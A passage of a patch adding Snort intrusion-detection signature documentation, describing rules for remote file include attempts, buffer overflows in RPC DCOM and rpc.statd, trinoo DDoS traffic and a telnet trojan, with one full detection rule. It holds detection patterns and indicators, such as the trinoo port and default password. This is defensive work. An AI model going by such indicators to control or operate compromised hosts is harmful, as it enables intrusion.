+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/642.txt
+++ snort-2.8.5.2/doc/signatures/642.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 642
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing HP-UX UNIX network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
+A specific string used during the overflow is application-dependent however, a platform-specific command or code may be present and is detected by this rule.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+--
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS358
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000746.txt
+++ snort-2.8.5.2/doc/signatures/100000746.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000746
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Randshop" application running on a webserver. Access to the file "header.inc.php" using a remote file being passed as the "dateiPfad" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "dateiPfad" parameter in the "header.inc.php" script used by the "Randshop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Randshop
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/237.txt
+++ snort-2.8.5.2/doc/signatures/237.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+237
+
+--
+Summary:
+This event is generated when a trinoo DDoS master host communicates with a daemon host.
+
+--
+Impact:
+Attempted DDoS. If the listed source IP is in your network, it may be a trinoo master. If the listed destination IP is in your network, it may be a trinoo daemon.
+
+--
+Detailed Information:
+The trinoo DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. Masters communicate with daemons to direct them to launch attacks.  A master may communicate with a daemon via UDP destination port 27444 with a string of "l44adsl" in the payload.  This string is the default password for the daemon.
+
+--
+Affected Systems:
+Any trinoo compromised host.
+
+--
+Attack Scenarios:
+A trinoo master will communicate with a daemon to direct it to launch attacks.
+
+--
+Ease of Attack:
+Simple. trinoo code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/incident_notes/IN-99-07.html#trinoo
+
+Arachnids:
+http://www.whitehats.com/info/IDS197
+
+--
--- snort-2.8.5.2.orig/doc/signatures/218.txt
+++ snort-2.8.5.2/doc/signatures/218.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+218
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "friday".
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects Solaris 2.5 operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1205.txt
+++ snort-2.8.5.2/doc/signatures/1205.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1205
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000486.txt
+++ snort-2.8.5.2/doc/signatures/100000486.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000486
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PhpBlueDragon CMS" application running on a 
+webserver. Access to the file "template.php" using a remote file being passed 
+as the "vsDragonRootPath" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "vsDragonRootPath" parameter in the "template.php" 
+script used by the "PhpBlueDragon CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PhpBlueDragon CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/381.txt
+++ snort-2.8.5.2/doc/signatures/381.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+381
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Solaris host running SING software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Solaris host running SING software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS448
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1346.txt
+++ snort-2.8.5.2/doc/signatures/1346.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted gpp command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The gpp command is the GNU project's C and C++ compiler used to compile C and C++ source files into executable binary files. The attacker could possibly compile a program needed for other attacks on the system or install a binary program of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'gpp'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. Whenever possible, sensitive files and certain areas of the filesystem should have the system immutable flag set to prevent files from being added to the host. On BSD derived systems, setting the systems runtime securelevel also prevents the securelevel from being changed. (note: the securelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1345
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1997.txt
+++ snort-2.8.5.2/doc/signatures/1997.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1997
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2464.txt
+++ snort-2.8.5.2/doc/signatures/2464.txt
@@ -0,0 +1,70 @@
+Rule:
+alert ip any any -> any any (msg:"EXPLOIT EIGRP prefix length overflow attempt";
+ip_proto:88; byte_test:1,>,32,44; reference:cve,CAN-2004-0176;
+reference:bugtraq,9952; classtype:attempted-admin; sid:2464; rev:1;)
+
+--
+Sid:
+2464
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Ethereal decode of the Enhanced Interior Gateway Routing Protocol 
+(EIGRP).
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code as root or
+LOCAL_SYSTEM privilege on a vulnerable host.
+
+--
+Detailed Information:
+There is a vulnerability associated with particular versions of Ethereal that
+may cause a buffer overflow when a malformed EIGRP packet is decoded.  This
+may permit the execution of arbitrary code with root or LOCAL_SYSTEM privilege.
+The buffer overflow occurs when a larger than expected packet length value is
+discovered in the EIGRP payload.
+
+--
+Affected Systems:
+Any host running Ethereal versions 0.8.14 through 0.10.2.
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed EIGRP packet, and if decoded by
+a vulnerable version of Ethereal, can cause a buffer overflow and the 
+subsequent execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Update to version 0.10.3 of Ethereal.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0176
+
+Bugtraq:
+http://www.securityfocus.com/bid/9952
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1624.txt
+++ snort-2.8.5.2/doc/signatures/1624.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1624
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3241.txt
+++ snort-2.8.5.2/doc/signatures/3241.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3241
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000339.txt
+++ snort-2.8.5.2/doc/signatures/100000339.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000339
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "V-Webmail" application running on a webserver. Access to the file "core.php" using a remote file being passed as the "CONFIG[pear_dir]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "CONFIG[pear_dir]" parameter in the "core.php" script used by the "V-Webmail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using V-Webmail
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/386.txt
+++ snort-2.8.5.2/doc/signatures/386.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+386
+
+--
+Summary:
+This event is generated when an internal server replies to an external request for network subnet mask information, which may allow an attacker to learn information about the network for use in later attacks. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+If an attacker sends an ICMP request to an internal server for address mask information (SID 388 should trigger when this activity is seen), an internal server may reply with subnet mask information.  This can provide an attacker with information about subnet mask configuration that can be useful for future attacks.
+
+--
+Affected Systems:
+Any system that responds to ICMP address mask requests.
+
+--
+Attack Scenarios:
+An attacker can send an ICMP request for subnet mask information to the internal network. The server replies, providing the attacker with information about network subnet configuration.
+
+--
+Ease of Attack:
+Simple. Tools that use this method of information gathering are freely available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a packet filtering firewall that restricts ICMP type 17 (address mask requests) from entering the protected network, and restricts ICMP type 18 packets (address mask replies) from exiting the protected network.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski <matt.watchinski@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0524
+
+ArachNIDS
+http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids216
+
+--
--- snort-2.8.5.2.orig/doc/signatures/615.txt
+++ snort-2.8.5.2/doc/signatures/615.txt
@@ -0,0 +1,94 @@
+Rule:  
+
+--
+
+Sid:
+
+615
+
+--
+
+Summary:
+
+An external host has requested to start communications with your host on
+port 1080.
+
+--
+
+Impact:
+
+Network reconnaissance.
+
+--
+
+Detailed Information:
+
+Improperly-configured SOCKS proxies can be abused to allow a hostile
+user to launch attacks and make them appear to come from your site.
+
+Additionally, if the proxy is behind a firewall or is a trusted host, it
+can be used to gain further access into your network and other hosts.
+
+--
+
+Affected Systems:
+
+Any system with a SOCKS proxy server installed.
+
+--
+
+Attack Scenarios:
+
+Attacker utilizes your misconfigured proxy to anonymize their other
+illegitimate activities or gain further access to your network.
+
+--
+
+Ease of Attack:
+
+Trivial or extremely difficult, depending on proxy configuration.
+
+--
+
+False Positives:
+Non-proxy applications running on port 1080, regardless of purpose, will
+trigger this alert every time any session begins.
+
+Ftp clients open a source tcp port greater than 1023 (an 'ephemeral' port).  If the 
+client opens port 1080 for the data connection, this rule will be triggered by return
+packets from the ftp server.  One way to cut down on these false
+positives for this rule might be to preceed it with a pass rule for
+'established' connections to 1080. This would only work with passive ftp
+transactions, where the client initiates both control and data sessions. Normal ftp 
+requires the server to initiate a connection to the client for data transfers after the client 
+sets up a control session.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Allow only internal users to connect to the proxy, or configure strong
+access control.
+
+--
+
+Contributors:
+Snort documentation contributed by Gene R Gomez (gene!AT!gomezbrothers!DOT!com)
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+False positive information contributed by jaffeld@duwamish.net
+
+-- 
+
+Additional References:
+
+UnderNet:
+http://help.undernet.org/proxyscan/
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1916.txt
+++ snort-2.8.5.2/doc/signatures/1916.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1916
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a format
+string vulnerability associated with the Remote Procedure Call (RPC)
+rpc.statd.
+
+--
+Impact:
+Remote root access. This may permit execution of arbitrary commands with
+the privileges of root.
+
+--
+Detailed Information:
+The rpc.statd daemon is a component of Network File System (NFS) that
+implements the Network Status and Monitor (NSM) RPC functions.  NSM
+monitors the status of NFS clients and servers and maintains a list of
+hosts that have registered to be notified when an NFS host crashes. 
+There is a format string vulnerability associated with the code that
+implements the monitoring of a given host, possibly permitting the
+execution of arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+	Conectiva Linux 4.0, 4.1, 4.2, 5.0, 5.1
+	Debian Linux 2.2, 2.3
+	Red Hat Linux 6.0, 6.1, 6.2
+	SuSE Linux 6.3, 6.4, 7.0
+	Trustix Secure Linux 1.0, 1.1
+
+--
+Attack Scenarios:
+An attacker can attempt to exploit the format string error allowing
+execution of arbitrary commands with the privileges of root.  
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000117.txt
+++ snort-2.8.5.2/doc/signatures/100000117.txt
@@ -0,0 +1,75 @@
+Rule: 
+
+--
+Sid: 
+100000117
+
+-- 
+Summary: 
+This event is generated when an attempt is made to execute arbitrary commands 
+on a web server via the VBulliten system.
+
+-- 
+
+Impact: 
+Attackers may execute arbitrary code of their choosing with the privileges of 
+the affected script.
+
+--
+Detailed Information:
+The "comma" parameter of VBulliten's "forumdisplay.php" script is not 
+sufficiently santitized, and will allow users to run arbitrary commands with 
+the privileges of the affected script on the host system when the 
+"showforumusers" option has been enabled by the system administrator.
+
+--
+Affected Systems:
+VBulletin 3.0
+VBulletin 3.0 Beta 2
+VBulletin 3.0 Beta 3
+VBulletin 3.0 Beta 4
+VBulletin 3.0 Beta 5
+VBulletin 3.0 Beta 6
+VBulletin 3.0 Beta 7
+VBulletin 3.0 Gamma
+VBulletin 3.0.1
+VBulletin 3.0.2
+VBulletin 3.0.3
+VBulletin 3.0.4
+
+--
+
+Attack Scenarios: 
+A web browser or an automated script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as public exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+It has been reported that VBulliten versions 3.0.5 and above are not 
+vulnerable. Additionally, administrators may disable the "showforumusers" 
+configuration option as a workaround.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+http://www.vbulletin.com/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3125.txt
+++ snort-2.8.5.2/doc/signatures/3125.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3125
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000700.txt
+++ snort-2.8.5.2/doc/signatures/100000700.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000700
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Vincent Leclercq News" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "disable" parameter in the "diver.php" script used by the "Vincent Leclercq News" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Vincent Leclercq News
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000179.txt
+++ snort-2.8.5.2/doc/signatures/100000179.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
